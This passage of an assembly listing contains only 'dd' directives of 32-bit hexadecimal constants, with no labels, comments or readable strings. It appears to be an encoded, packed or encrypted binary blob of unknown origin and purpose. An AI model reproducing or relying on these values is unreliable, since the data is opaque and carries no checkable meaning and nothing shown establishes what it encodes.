53FE22A4h, 3A492551h dd 5986518Fh, 228E0A80h, 9023E832h, 62AE971Ah, 17E46E1Ah dd 50804512h, 5F856A88h, 6A195F6Fh, 6B5641D8h, 926068F0h dd 0B8C844C9h, 0AD15B44h, 5318E8E3h, 0BB62BB2Dh, 46C84Ch dd 96A23C5h, 4B1DF805h, 5C0F2704h, 52F3E843h, 0C38A2800h dd 85883404h, 152BD91Fh, 38CD7009h, 0A1491AC8h, 9318274Fh dd 0BF817B99h, 0EA05708h, 92A47C0Dh, 65FE444Eh, 13AECA71h dd 9DDA7BE8h, 9F86A24h, 0EF465C1Ch, 3B355968h, 0B76CD29Eh dd 0A501A658h, 0A068E236h, 88530444h, 44202139h, 876D3899h dd 0B1137DCBh, 10893C21h, 16E22702h, 0E50E5431h, 9D1C0F8Dh dd 32B35FB0h, 44D1E480h, 51F8E804h, 807262FFh, 0F4888371h dd 51E242EFh, 0F34427CEh, 115F42BCh, 0F3CA51CFh, 0F1C09138h dd 0AA08F328h, 8043488Ah, 0F5AC20A5h, 68C18594h, 0DC230DADh dd 22ACC014h, 0C954618h, 1C4C52BBh, 5B1086C6h, 316A3395h dd 6D798C28h, 48BCAA9h, 0A87D0F08h, 0B0208436h, 345E420Bh dd 42202752h, 0A81B5A68h, 845B784Eh, 702B3A50h, 682A3BA4h dd 272C2BACh, 54E35051h, 5E2915BDh, 58102E0Ah, 920C888Ch dd 39D8968h, 3B2997C6h, 0F69CD920h, 10FC2DF1h, 0EA53924Ah dd 7179AF12h, 87A2871h, 2B75812Ch, 84F79A93h, 9A40748Eh dd 2D05E106h, 0DC841C78h, 58150F52h, 517927CDh, 22C19CE4h dd 740E292Ah, 32E0D856h, 0D7BFE39Dh, 0BFB0204Ch, 5721F55Eh dd 4F271149h, 8FF6D09Ch, 7463525Bh, 682B145Ch, 48C8AEB0h dd 263240A6h, 0CA8116Ch, 7C528435h, 2C680A60h, 2211135Dh dd 5F190555h, 0A1D89D34h, 0E2150B50h, 0EC226E57h, 86AC5BE0h dd 0A04FF520h, 86E513B2h, 0CF84588h, 0A721C6AEh, 0BB241378h dd 4B80571h, 70122725h, 82447D53h, 0DB88147Fh, 5E390757h dd 0DF5C893Eh, 751B3196h, 98C0FE25h, 9DB15317h, 0BEAC713h dd 0C4E40120h, 47A176F4h, 1FA02A10h, 0FC3E4F46h, 5468CF9Ch dd 59A01305h, 7840E061h, 0BF3B91Ch, 0BD8B0558h, 3B535411h dd 8D8C23F8h, 5548189Ch, 0F8D3CA70h, 2C233D20h, 0A203105Ah dd 26E91C7Ch, 0C83342A9h, 71D844DEh, 491C77D0h, 56740785h dd 0E95FAD33h, 80304C57h, 58277C7Ch, 463D030h, 3BE85601h dd 7637EFFBh, 51860AE5h, 0EB2D441Ch, 311F2750h, 57227519h dd 39131D20h, 59181C19h, 0D3681340h, 8956B798h, 0FEC97E65h dd 815171AFh, 273722C4h, 0BD947DC3h, 0B2F18DB5h, 0FF58886Fh dd 8D2A7309h, 0EF034683h, 12F6C11Dh, 1F2D1EB3h, 8382161Dh dd 9D5B96DAh, 0B324A185h, 21DB4C06h, 4E330C5Fh, 228B105Dh dd 6A32242Ch, 2938264Dh, 0FA343B10h, 2A575F80h, 4528F468h dd 66D5F20Bh, 0C681486h, 0F9101260h, 453CC84Dh, 0E7244CC4h dd 0C868BE25h, 40111716h, 0D4265632h, 444E1829h, 23298BFAh dd 481036C3h, 9148048Ah, 314C8AB1h, 0E27A345h, 5295C498h dd 0FC5438D3h, 9D1A4148h, 8C075021h, 0CEC8B7EBh, 0E888FAACh dd 3F66A46Eh, 2A5C681h, 8429DE64h, 0FC90E235h, 0A1D51CAh dd 0CDF605C6h, 4384568h, 0BD760B61h, 995592DBh, 0CD8845Dh dd 28AC62B2h, 0C0C4F947h, 0F85F9C1Bh, 2B52684h, 6014509Ch dd 75A4208Ch, 709C44B7h, 5DF1B2BFh, 8C97EA53h, 754EE230h dd 7DA332E8h, 8A977149h, 6C6438A0h, 0B4F22E50h, 214F421Ch dd 614C08DEh, 86A850CEh, 2C211187h, 3730B18Ah, 782C3E6Ah dd 0A862E630h, 0FF458833h, 6C6C2A91h, 150B1626h, 4174FDE8h dd 201C45B2h, 6A0A01E0h, 396C6860h, 0BCD2E842h, 881A432Bh dd 7C19A5B5h, 0A42E4CD0h, 74EC4285h, 80874416h, 54C7D7Fh dd 9C5B3E69h, 0D28DA85h, 0D1010B2Fh, 86688B6Dh, 0FC8C6798h dd 84637488h, 954B8E20h, 83B2C5E2h, 122194C4h, 2F7718FDh dd 0F391C4B8h, 0F2A35B38h, 38121742h, 586D350Ch, 64D480E4h dd 0BF4E4484h, 2E17CC6Ch, 80826A45h, 224B1433h, 17A6647Bh dd 0A1275233h, 2253B2D3h, 0FA9D251Dh, 3CD64C83h, 88157944h dd 3526ABFh, 84C6918Fh, 242273CDh, 772662DFh, 1E876C4Eh dd 0CC2AF10h, 0D4B2A6E9h, 3888C0DDh, 0FFF0A5Dh, 70D99785h dd 2089FB28h, 41B5994Ch, 0BEA36E4Ah, 0BB44FB4Ah, 0BCE8FBAEh dd 357DB3A3h, 62F37557h, 87964536h, 2DEDE822h, 0D4FD19B4h dd 68A3FAD4h, 0E85ED946h, 3F668CA2h, 5F5D5F01h, 0F84D8266h dd 0CAB1EB75h, 4B6A52A8h, 0CE627B28h, 3CA35304h, 7207732Ch dd 8226C7Ah, 4A922122h, 88039749h, 0E5F8FDF8h, 18478417h dd 0DC62A321h, 72A13064h, 97EA6088h, 9253E631h, 2928DD85h dd 277242DFh, 6C37441Ch, 0A12736Ah, 614486F2h, 1BD1A80h dd 5DF36DEh, 1A8B5450h, 10654676h, 45D07252h, 421E9AA2h dd 24EC9F25h, 8C661458h, 88381A57h, 1ED7862h, 0A5E4798Eh dd 1BD7987Dh, 69C8306Ah, 0F4680DEDh, 24006891h, 70694449h dd 6241B46Ah, 0BC2E6544h, 0BAE0FE12h, 83300B48h, 335F09C0h dd 25462154h, 914D243Fh, 7148D509h, 6808BD35h, 0F82D6728h dd 324E837Dh, 832FBE72h, 0D901300Ch, 0BFC723Bh, 451FFB2Ah dd 24CF549Fh, 5AAF317Ch, 0AC440871h, 0C35356C2h, 53149F2Ah dd 2A21C310h, 14682144h, 2468E284h, 0C2056734h, 213E7115h dd 0BCCF715Dh, 21DF9C23h, 140BD2E7h, 454CEBD4h, 0C87047D0h dd 0AA37918h, 8D449A23h, 0F811FBF6h, 89411EDh, 0A595E81Dh dd 9EB69B57h, 0A63055B4h, 4408837Ah, 697831CCh, 97275809h dd 42F6475Eh, 75CB7748h, 6C282211h, 477E8464h, 2A803159h dd 50ACC14Fh, 10476B84h, 9B22E463h, 8AC9524h, 3444706Ch dd 0AD2EF1CDh, 4A250F5h, 3259B7CEh, 0F830CDEBh, 0EAAFCF6h dd 39E00675h, 760C171Eh, 10D8B026h, 7CB0FA9Dh, 4E06738Ah dd 0C066F0C1h, 3ABC60DDh, 88397241h, 142130Ah, 3B18031Dh dd 97DE724Dh, 8569C47Ch, 3A9230EEh, 0ECE0F557h, 1330F4Dh dd 0B06552EBh, 9F5D8BFEh, 2C09ACD0h, 57184B8Dh, 2F14A306h dd 332A0265h, 243A70Bh, 571C5D30h, 0EB1415E0h, 83061250h dd 0FD59ACD9h, 0C61C148Fh, 960133A7h, 504D24B7h, 63E82611h dd 3259D927h, 52552816h, 0C7764AC6h, 0FF0C9430h, 0A5F3AA81h dd 0EF1C7DD0h, 0C95724ECh, 23C01870h, 25934672h, 61A9FD25h dd 28444AFCh, 0DFC9A2AAh, 18938435h, 59490F48h, 400DBAEBh dd 1FA60411h, 25740C82h, 1BD2B5Ah, 0FE032C50h, 9653AB98h dd 0BEDB18ECh, 87B31B8h, 0DE2EE8BEh, 0EB09BAD9h, 0C21CFF03h dd 0CEBCB816h, 9D4600F4h, 3DC4B176h, 6F92F1EAh, 0C0415C2h dd 45861418h, 623865E6h, 0FA48F137h, 13AE101Fh, 54C73BC5h dd 2D7A43E9h, 200F42C6h, 4576A975h, 0BFB47B05h, 45165A74h dd 6504F340h, 8943B40Fh, 2B681DC4h, 48218DA2h, 458EE886h dd 0ACBE141Ah, 9C10120Dh dd 275632ECh, 5868217Bh, 5444081Bh, 88692571h, 0A785AB68h dd 45564722h, 730C8F2Eh, 0F1C06F0Fh, 90481C3Bh, 838BF80Eh dd 0DB186BEDh, 0D7F18BBh, 2B058C28h, 0F59862C4h, 440F6FC8h dd 9D813F45h, 31D824FAh, 0D83D44FCh, 0E2908A90h, 4CB1AAA5h dd 37B5D46Fh, 4BC5C616h, 0DC235CEDh, 0A3C34CA9h, 0A5112029h dd 0DC73E04Fh, 9A85F545h, 64C93320h, 82C1FFB4h, 80490D94h dd 38101D20h, 3B844041h, 93ED72CEh, 2082BE98h, 18CC399h dd 0A4558068h, 44D5FB45h, 0BF51264h, 4D0831F5h, 2D684740h dd 7F666B7Ch, 5D48AA25h, 735760B1h, 0CC9C1B50h, 9862E47Bh dd 0C813F42Eh, 0C24B16Ch, 4313A47h, 3823FF74h, 365E3129h dd 28488641h, 0DE882FA8h, 1A506781h, 9CF84B21h, 57210291h dd 58E7AC10h, 601513E8h, 46B51357h, 0BB564BFh, 48585714h dd 9FAB07D2h, 7DFC25AAh, 0E595CAA4h, 318C2CCCh, 43B2FF98h dd 0E101996h, 5E069919h, 78BD22C6h, 9A0CC36Dh, 0A19580Bh dd 0A45C039Bh, 88B0068Fh, 0C80CB6ECh, 0B845D6DFh, 68124C68h dd 779C3F09h, 1DA09705h, 7D18BDF2h, 0B8A815A2h, 0AA0D1064h dd 86AC1E19h, 49E8B427h, 0CC5FC2A3h, 34133868h, 81DBDC36h dd 234333D2h, 94306623h, 0FCF3DAE8h, 3E994466h, 6D4837AAh dd 45E4A157h, 12EBC005h, 0FFC1A859h, 0FF09740Ch, 6F60A9Bh dd 80F775E0h, 9F20BB35h, 7E5E30B0h, 4F8AB574h, 0B460CCC2h dd 0B1B6D68Ah, 0B00E4168h, 0EB403666h, 53AFB0F9h, 47F2D08h dd 0EBC60304h, 50DA8302h, 0A6E89709h, 9F7D7A42h, 752D3670h dd 0F038550Eh, 0FE5FF0E9h, 0C37BC3C9h, 3F09AB69h, 0ACC86856h dd 8A871875h, 10FD9114h, 73438940h, 87B1B0Ch, 4CA0D8Bh dd 0D6BF199Bh, 3C453A10h, 0AE2A2918h, 11C5AABAh, 0C66A08BCh dd 753410C4h, 9F0215FBh, 0B0B980F8h, 9561791h, 0D068C303h dd 4222DA98h, 0CC0C5184h, 8D4640B0h, 0D2A51834h, 0E3F4E21Dh dd 0D89DB5A1h, 7E8C3946h, 60D8B04h, 53DB1CA6h, 0C644227Eh dd 19B600A5h, 128A9CC0h, 2024A10h, 0AA6AD979h, 0D06DE25Fh dd 863F77F5h, 1EA4E10Ah, 501BE46h, 0EB183C89h, 4BD2006h dd 6A19619Fh, 0E0458041h, 62A45991h, 898E8A4Dh, 0E1150623h dd 3AE26409h, 0EAD99101h, 0F40B9358h, 0EC7E17AFh, 0CF00D6FBh dd 1BD9F6E0h, 83530BC9h, 0D5AE02E1h, 0C619C1C3h, 603D8048h dd 0F64D899Ch, 0E316C559h, 0CEE4C903h, 10E4FD40h, 0EC8B058Ah dd 0FA40EED1h, 4A8722Eh, 0F4C48362h, 0B5885E48h, 0F10E730Ch dd 0B7334D59h, 15A4E45Ah, 8B09E8B9h, 0A51845C6h, 0FADD4430h dd 0CE73095h, 0CD10A950h, 7FC3F909h, 7D1932B3h, 0D42BAC0Ch dd 0FF1B8514h, 0BC881D7Eh, 97C62B88h, 748B045Ch, 0C138FD43h dd 3B09460Bh, 7FE37CF7h, 0A7C33E49h, 62B7DEB5h, 6242010h dd 803F228Dh, 74574809h, 41903574h, 9F647AEFh, 18BFDCFFh dd 67D86C5Eh, 22D1BD67h, 1169068Ch, 14ACCBC6h, 85BBFA74h dd 0D1EB03E0h, 5FA4FA1Ah, 68286E45h, 0F49DCB7Ah, 14C02470h dd 0E94B94B7h, 886668D9h, 7D404A09h, 7F4D3BBh, 25088768h dd 0B16DB8F4h, 0F22D9D28h, 126C0774h, 665DD9F4h, 0CBC2F50h dd 0BAC33BC5h, 46A18D9h, 196B885Eh, 0AA1C202Fh, 0AC72BF89h dd 39C6562Fh, 0F02F1290h, 41E966DFh, 0E842A60Ch, 1FF28664h dd 0C31F231h, 0E5ACAA75h, 0B2D4682Eh, 8247D56Fh, 0B46ADA74h dd 5DDE8239h, 48C598E1h, 752D0234h, 0F013E0BCh, 5F5CAC6Bh dd 0D215BC56h, 0EC921ACh, 0D3812307h, 0C01F012Ch, 756C9D0Fh dd 4531E18h, 46BF876Ch, 0AC682057h, 50409174h, 0A16BE937h dd 4D32FD39h, 3B92D877h, 26A757F3h, 0C5D0880h, 6A267B76h dd 93130A20h, 848ACDC0h, 9D96F580h, 8DA4159h, 6A0E0488h dd 0E372B8D0h, 835C0AEBh, 0C12B7FFEh, 2056A50h, 31933568h dd 28264B10h, 4245512Ah, 5998C07Bh, 804C048Dh, 21B0183Dh dd 890D755Bh, 6638568Ah, 0C3A40F5Ah, 0F8D64A72h, 0A008B7C7h dd 44919F9Ch, 542C236Ah, 6544A9F9h, 95FAA4D8h, 0FBBB70C3h dd 0AE1E54EFh, 0A23B5AF5h, 8EE80924h, 0FAEC5D3Eh, 0CDEB2D8h dd 74799767h, 3F86D2ADh, 100546F6h, 0AA563675h, 0EED2B0F2h dd 30E8275Fh, 47F7F84Ah, 66E56462h, 3B03DAD1h, 22CF74F8h dd 99ACD1Ah, 160AEB32h, 625B13A0h, 26342BACh, 0C7E10F65h dd 31A9EB45h, 80530A2h, 57BE5157h, 0B4774E60h, 0AC4FBBC9h dd 522BCDE2h, 188C0D0Dh, 5DCF3DAFh, 10A60879h, 0A77DA0C8h dd 6AB510DFh, 1059423Fh, 880EFCD1h, 0FBD6D095h, 5274666h dd 5588ED7Dh, 12FB34ECh, 4859BB0Fh, 0F403E806h, 2E66C3A1h dd 3285C5F2h, 0FA644B04h, 3D8898DDh, 49E5BD66h, 54041909h dd 1810C59Dh, 0CCBF6A22h, 49509BA9h, 0B05B642Bh, 792A8655h dd 0D7E29FC3h, 8A48B849h, 0FCC41A96h, 0AE5DBA16h, 1D8EA4EAh dd 94687945h, 0CE6C2778h, 531A166h, 1175ADC0h, 0D6F4BC3Ah dd 0E91D8F18h, 329BD971h, 86E81CACh, 5822A442h, 429DC6BDh dd 0E8447A78h, 982DA96Eh, 68280A08h, 32542690h, 428C8412h dd 9120217Ch, 10619C74h, 0AD5CC80Eh, 186C5F5Eh, 421EA450h dd 1F01048h, 758B3C88h, 0D93BFF7Bh, 0FFD085C7h, 89E43C98h dd 2868F0D8h, 0A9F93FD6h, 4D3C7A16h, 383CB636h, 1150328Bh dd 0E40584DCh, 58244926h, 0FC64CE3Ah, 0DDD5EE12h, 5B59360Dh dd 76FB82Ah, 0D4658A1Ch, 5168B53Ch, 0ECE52294h, 38917171h dd 6813543Dh, 21832052h, 8914906Dh, 229D9E78h, 0F8413BF1h dd 4584A21h, 0B46FE96Ah, 2DD9EB8Eh, 0ED17C30Ch, 944BEA05h dd 13A4D8EAh, 499851BCh, 1A779534h, 48A30868h, 873BD259h dd 1C19E93Fh, 64272D56h, 0E929F6C4h, 0FC888017h, 850F0676h dd 683D191Dh, 0F299CCF4h, 46409692h, 63E7C416h, 0D189EC12h dd 0FD3068D5h, 4B374ACCh, 0AA2E2462h, 1BEDC61h, 894B5B37h dd 21DE0EFDh, 19AE213h, 100D4314h, 0FAF33AE5h, 0B4DE23ECh dd 2142143Dh, 0C7680E3h, 8F3A43EFh, 21E59073h, 6C6342B3h dd 65B49B77h, 11288211h, 0B6A2DC82h, 0FF73996h, 0A90BDC40h dd 51631C2Fh, 577F1C64h, 0B82AE6F8h, 6C29A1E0h, 0AE1AF0Ch dd 584D698Ah, 88D39EDh, 242A62BEh, 4F8B22A5h, 0B79316FBh dd 948F16D2h, 0A6F22210h, 7745479Eh, 0A8DB093Eh, 96E43F10h dd 0C68D43A9h, 0EF405284h, 891D5787h, 7E59CFD7h, 0BB07E29Bh dd 0E36B1411h, 37EB85EEh, 8234BB08h, 2C682F75h, 0B221709Ch dd 6C36C439h, 4624907h, 712F248Ah, 7230F83h, 0C61D862h dd 0DA8AA50Ch, 0ACC05EAAh, 65BFB47Fh, 896BFCBDh, 69CB0E32h dd 800CE662h, 810139FDh, 0B66228BEh, 0A83AC5BCh, 1195CB61h dd 12CF011Bh, 0E6982235h, 0CD07E8Fh, 85FA920Ch, 0E8A6886Eh dd 0EEBF3BE8h, 0E2E94A49h, 1BECCA60h, 3A38848Ah, 19BB5A51h dd 0D0640D53h, 428D502Bh, 69748878h, 0BB950C50h, 9AF138A3h dd 0D3178843h, 3AC931F4h, 0EFE37518h, 0FE10FBADh, 0DC68C55Ch dd 7A0A1D4Ah, 8D37E058h, 0F060B108h, 5DB460FAh, 752D74C3h dd 362856EDh, 727DA514h, 5719D8B2h, 55F2AA14h, 0EEFC4025h dd 0C2795C69h, 4FFD01B0h, 4250150Ah, 0F377A15h, 976C7878h dd 4269AC7Eh, 6BF95592h, 0E4B8EC32h, 0FBFF4E41h, 78247431h dd 695E8011h, 7C904F22h, 7F2574F6h, 87446B56h, 2448F2F4h dd 0A19A0218h, 946E9758h, 3C147431h, 0C2075FE1h, 2EFD8147h dd 0AB7206DBh, 0E876B52Ah dd 8CFE5008h, 0EB0A90A5h, 828B6A29h, 0C60475A5h, 98FC2254h dd 91B8E6BEh, 6993A4DBh, 59742803h, 7B35DE4Bh, 4A2086FAh dd 560518FEh, 40D6E068h, 8E528705h, 7322AB6h, 10127BCCh dd 9878834Ch, 0C474374Bh, 45D80B6Eh, 3A456B86h, 0E5ABBC2Fh dd 0C63584BFh, 19D83378h, 0A454E676h, 427524BFh, 64C46F14h dd 0FBDCBF36h, 0F67C9731h, 62FBFCA5h, 7A0C6706h, 0ED69559h dd 3068E24Eh, 40221478h, 89C455DEh, 84F1B37Ah, 649F0D7Ch dd 84FB8810h, 2F673616h, 7BED311h, 19565EBCh, 0AD3165D7h dd 4B9003F0h, 8034D21h, 0BA42FA88h, 990682B2h, 0D9717555h dd 0E914C411h, 14073D35h, 0E2758966h, 7375456Ah, 31C694CFh dd 0C8609CD6h, 3BDC9D84h, 0F7C757E3h, 915A73E8h, 0E3EE7B34h dd 0DBE4623Bh, 466F5302h, 594FC7A4h, 82D49BFh, 0B7F2C17Dh dd 82593DA8h, 8CA5B1C3h, 78A822E2h, 9B7A213h, 2BB54477h dd 19DA3582h, 46531158h, 0EC7D7612h, 681B6D62h, 6818C680h dd 91BC7934h, 72F85B2Dh, 4FC47740h, 4DAE8034h, 0F2B758FCh dd 0D4453BAEh, 0F284850Bh, 1274F793h, 0A16B8845h, 7D111729h dd 67BC3A12h, 8E6B4F93h, 0EC5E8735h, 54B98A1Dh, 30858802h dd 1A9244FDh, 1131BD8Dh, 0C4C9BC7Eh, 8D5695E0h, 8488DC46h dd 95828677h, 0E3DD861Bh, 3B862C0Dh, 9D388141h, 8821E45h dd 46E37CAAh, 94F31935h, 0C8AE9B1Ah, 84A536h, 0A0BF0234h dd 46687E78h, 575A2537h, 3495215Fh, 0E9FB794Dh, 8846EAE9h dd 619F8B9Ah, 7150F846h, 6168136Ah, 66E9618Ch, 9062701h dd 0BB346AE8h, 0A545C501h, 0B3239D88h, 0B122E5C6h, 2D2DD903h dd 322A270Ch, 0F8334586h, 55A834E8h, 4D2D8D1Ch, 0CBE650DCh dd 0BFF051AFh, 0E9EEE986h, 0C8A81152h, 8F51104h, 0BB378D8Ah dd 8015AE53h, 75A05EF9h, 0C012FE12h, 241DC932h, 5C80772Ah dd 0FE290EEBh, 8D9010C1h, 0C0B60F82h, 0E0D622FFh, 44274108h dd 2A10FED3h, 84DF5009h, 33B721B3h, 0E850A6E8h, 9933539Bh dd 27E98B29h, 47293BC4h, 546B9B04h, 0FB3B4320h, 0BB8B77B1h dd 1EF8C884h, 7D096F72h, 0B0FC84E0h, 0B17B4AC8h, 0C73B0B77h dd 8A5BB706h, 12B46828h, 8E6E5842h, 6E821973h, 24FC2BE0h dd 8BB4A8D9h, 7577EBC4h, 47E3C8B3h, 80257CEEh, 0B29DAE78h dd 4365A2DCh, 6BEB24B4h, 45680970h, 987B1444h, 5848399Ch dd 0A8841318h, 0C501CFC9h, 590332DCh, 8DBC3ADEh, 8804026Bh dd 8C3622FBh, 0BF03162Bh, 760B3B73h, 8EE1D32h, 0D0D96318h dd 89A210Bh, 33788AD6h, 39563BD2h, 24760C89h, 0BA55135Dh dd 9072DD17h, 2F32023Bh, 3AF68718h, 11743190h, 2E3B6141h dd 0DB42F272h, 0DC694876h, 119453A6h, 0DCB84EF8h, 1325BA7Ah dd 0BBB82D75h, 4539FB46h, 68606040h, 84685008h, 23F87A5Fh dd 0E7E8C49Fh, 0C68BFC31h, 0EC418F9Eh, 0D8863BEh, 6D3262EBh dd 3BC66702h, 79BC31D4h, 7D8EB41Ch, 0C68188BEh, 442BC042h dd 0F4731360h, 31AB59F8h, 8E83289Ch, 64869E2Ah, 0AC3752F1h dd 0DF02E22Bh, 50CE66EAh, 6FF9037Fh, 341836E4h, 0FE609FE8h dd 7C905E2h, 0B053725h, 29F71CF2h, 2294D71Ch, 87C2515Ah dd 72D8831Ch, 0DA607729h, 548C6DDBh, 0FC5A4544h, 68166FB3h dd 0F9F0C9E4h, 24A37AFEh, 64951820h, 9BD42D0h, 27E8681Ch dd 0EE535669h, 0A11A0D30h, 78167CB8h, 7AED9C2Eh, 4E99F1BFh dd 74200624h, 884AE8D3h, 0F20667EEh, 1D8C8B22h, 869F3335h dd 0E74A1CF9h, 8566224Ch, 860F740Fh, 0CA18D052h, 0C4FA389h dd 5363B5EBh, 35246FCh, 90C76B3h, 2BB51D8Ah, 0A35D5588h dd 575F91CEh, 282BFD69h, 11129F3Eh, 0D88A1B3Fh, 2C459D47h dd 0AB1FD5EBh, 0B4125E4Ah, 0DC0C760Bh, 30C882B2h, 0DD604019h dd 0DB0F472h, 145B1C27h, 0B38C4A60h, 89082817h, 0CFAFE81Ah dd 0ADF15D7Ch, 5D17A49Ah, 0F046ADF2h, 882D8E8Ch, 0F0354412h dd 4FADCAEFh, 0D3D061FEh, 0BE8C892Fh, 45CCE47Ch, 38792074h dd 0D4177B50h, 0D15A578Ah, 0A41C852Eh, 0BA2FAC62h, 725A5722h dd 14588121h, 40B18D28h, 61286B02h, 869E41BCh, 72755BF8h dd 8E202016h, 111D8928h, 0B8647414h, 0BF874B0Dh, 0FA30FF72h dd 64E815D2h, 0CE7DB474h, 0AF7C016h, 9737C21h, 30DD7453h dd 0A1D030A2h, 2702C009h, 0F016243Ah, 4E6B41CDh, 0C6E11318h dd 41BE390Ch, 40868D4Fh, 0EBAB7506h, 0C0CC0664h, 602E45Ah dd 63585D75h, 0BFB8DBB5h, 0D2382FAFh, 0D6B44874h, 0E6FC5744h dd 0C8FDC012h, 3AE32F26h, 248FDCA9h, 0DC9015B4h, 1057A5C4h dd 1809B226h, 0D826EB1Ch, 2E103057h, 0A85ED848h, 24BAA573h dd 1D36BFFCh, 38F0456Fh, 33BC9324h, 2809B35Bh, 6C974F04h dd 2C1EDAA4h, 20D71FAAh, 7DC620A4h, 0B9427414h, 518B0B07h dd 1F4D7CF8h, 830A8008h, 39403AC1h, 0EF0775E2h, 0C06B2AEBh dd 0E74875A9h, 9867B88Dh, 8ADA6A43h, 0EF47E80Dh, 21520C92h dd 9013C6DAh, 9924912h, 0C1705E38h, 1623197h, 5691203Eh dd 2A4AC083h, 7232435Ah, 3BA69EC5h, 6D31FACFh, 0A77E4E15h dd 16132907h, 440C6804h, 4ED77288h, 993EB92Dh, 74714627h dd 0C2D3833h, 58C24A79h, 2CC775AFh, 4C44CE32h, 0E849C4E4h dd 141B947Bh, 0BD96BD9Bh, 2DA716AAh, 0AF5D61EEh, 32B122CEh dd 22A612D3h, 44F103BFh, 0FEFDBC09h, 4D99C620h, 11249CC9h dd 3F5BB34h, 538A6479h, 56B6094Eh, 70743A30h, 0A4BF5EC8h dd 332C4C63h, 71986A8Ah, 7CFA2738h, 3B00F8B0h, 763D74C1h dd 51948B11h, 0E860540Dh, 974FFCE6h, 0EF1301DEh, 11023784h dd 9350036Ah, 16D6226Eh, 404C5652h, 0A861F7Ah, 5711EB18h dd 26514621h, 95760C43h, 3C42627Ch, 421BDC0Fh, 778236EBh dd 63D9FD2Dh, 2C682984h, 0E3328094h, 9D17660Ch, 6289AC32h dd 453C7CD1h, 0A4253438h, 2C291EFFh, 0EE060848h, 3FE8A673h dd 54C45301h, 0F84F458Eh, 0B43C3B08h, 5B7CF080h, 0BC4EB5E8h dd 0B88122FEh, 5C8E5727h, 0A9D89CAh, 0D3B07F27h, 0E7907556h dd 0C4FC1720h, 0B6FD950Ch, 8D4405D9h, 0B94ABC4Dh, 442D10B8h dd 74561F78h, 0FC808A32h, 6827C1ADh, 9DBC0C30h, 0FD2A432Eh dd 0BFB3EFA9h, 0A062489Fh, 0B22854BDh, 0CAC4B862h, 45F1572Ch dd 313851A5h, 42FBA43Ah, 44132273h, 89C473ACh, 44320D45h dd 850D7340h, 0C4CB3490h, 5B752FE9h, 694A8873h, 44379EFDh dd 682F57B0h, 2319B6ADh, 531A2B61h, 0A4A3D911h, 4CBF42CDh dd 1365C051h, 0D61164E6h, 59975E84h, 84C82A0Ah, 42DD962Dh dd 7D38105Ah, 16AD0986h, 68F82184h, 0E82DEEA4h, 6BF2FEE5h dd 758ABE65h, 0C268AB32h, 0C44D7A0Bh, 20F5B6FAh, 0E04BDBh dd 68561A6Eh, 839CE8E1h, 3982580Bh, 0C941CBD6h, 0EB115381h dd 105A8BC2h, 15F0C54Fh, 0CA9C8C4Ah, 0E5DE5F5Eh, 0E8D83051h dd 0B0BF2A87h, 4E74FC06h, 0E634AF7Dh, 9DE87BEh, 401FB82h dd 11F08909h, 4796BC6Ah, 0B1B614EBh, 28C9F012h, 0D29F7461h dd 270B649Ch, 981675DDh, 5D0A4709h, 9BEA45ACh, 80892E4Fh dd 440A1A97h, 0F55AE095h, 38066438h, 4D918BE8h, 0EE7D7089h dd 0E951223Ah, 0D6829C25h, 0D2DF5ABDh, 8575B1BBh, 0CCBE5645h dd 0F85E4676h, 29031BB2h, 0FC668306h, 0D9985834h, 2A89AB0Ch dd 0B8F44E74h, 43BE307Ch, 0C2087983h, 0DA3B0E5Ah, 82018FA7h dd 9DE942DFh, 0C62630EBh, 729743EAh, 0F7C25B99h, 0ED0826FCh dd 68166AC0h, 316BFB88h dd 0AE526CCFh, 0E1510F92h, 9B1475F6h, 82018620h, 0BF06284h dd 92D7F831h, 2D564AE8h, 7C496A1Ah, 91557365h, 0C63B195Ch dd 88105410h, 2BA2059Ch, 80683110h, 0F050C9CBh, 92E817EFh dd 9134CD29h, 0A2482F4Ah, 0BFBEF817h, 0A4516D4Ch, 729F25E8h dd 1411A6C5h, 4A9F555Bh, 60728913h, 0FB3B0C41h, 47EE30D0h dd 24712218h, 35380D6Ah, 271B1B1h, 25EC42B0h, 63757CC5h dd 0FC2EF4BBh, 8AC57695h, 0BF205C68h, 29421440h, 5823A05Ah dd 75303962h, 0C2D2D50Eh, 0E99FAD65h, 455939B9h, 1775050Dh dd 7004D529h, 1F6FEB87h, 3CF23F1Eh, 2CB2F8Fh, 63B768Ch dd 48E45C9Dh, 937C1621h, 155A7997h, 280617E0h, 175F5468h dd 0AD2CC6E8h, 0EB5ECD0Eh, 48687C01h, 289F1951h, 404C87B2h dd 9E69614Eh, 20E5A51h, 1BDEF718h, 0AC6046F6h, 16137501h dd 0EC10076Ah, 4680CA1Eh, 0A1E718E6h, 8D6F06B9h, 6E27218Dh dd 0EB9562B0h, 5C05BAF7h, 70ADAC9Fh, 6881014Ch, 620B0545h dd 27B8FFB4h, 6B8C27DDh, 0E92311CFh, 337DF2B5h, 86474324h dd 5317F646h, 0C4221250h, 4534F4B5h, 44123110h, 0EBE90150h dd 0BD1A0A22h, 3E4121EEh, 0D1194C18h, 5139FD40h, 0A2F1485h dd 9A21BF0Bh, 0BA05DB76h, 0FAEA0A11h, 45C6C450h, 1A244DEBh dd 3535B20Dh, 0A17AFD2Eh, 0ECF3C6CFh, 1BEA9822h, 0E3B8A3Bh dd 2DE8447Ah, 0AB5E2713h, 2CA22367h, 0AB178DFBh, 10AFC5EBh dd 0AE9320C1h, 45220F26h, 66BC54EEh, 9522EAE9h, 158885E6h dd 0C9A8413h, 0E8DD1C09h, 0A519EB75h, 4712118Ah, 641A2F6Ah dd 2FB28E1Eh, 17D64F76h, 5A00787Ah, 688D4407h, 12F3B2C9h dd 4F71FD0Ch, 8018268Eh, 185C91A6h, 6B9AC4E7h, 7423D8EBh dd 0DE7E1B49h, 0A7CCFB92h, 12A6A678h, 0D08AE90Ch, 98BFF6EDh dd 0D8455F94h, 0A32F25F0h, 1214643Fh, 8FC4EE4Fh, 10444834h dd 1BAD2A82h, 0E8506C9h, 0D0A580C7h, 38EBF66Bh, 0C4851B97h dd 89B6B2A5h, 89178241h, 0D608BB5h, 190989E5h, 47086E95h dd 200CD72Ah, 8312C6FCh, 0D58782A5h, 0A968130Ah, 9525B950h dd 104E006Ch, 6E7E5421h, 66CBF828h, 0C142F373h, 68CF13FAh dd 0D9332CECh, 0DF92D46h, 0E3293ADAh, 4AA10D7Eh, 2F181CB4h dd 0BD6D3DA2h, 83A9ECEEh, 0FDE8102Eh, 5563AA49h, 0C27562Ch dd 7EEB11FFh, 30C4EB28h, 198B0903h, 0E062532Ah, 0F6409338h dd 1324013h, 0BFD35AAh, 0E4254368h, 0F76C82C8h, 5A1742FEh dd 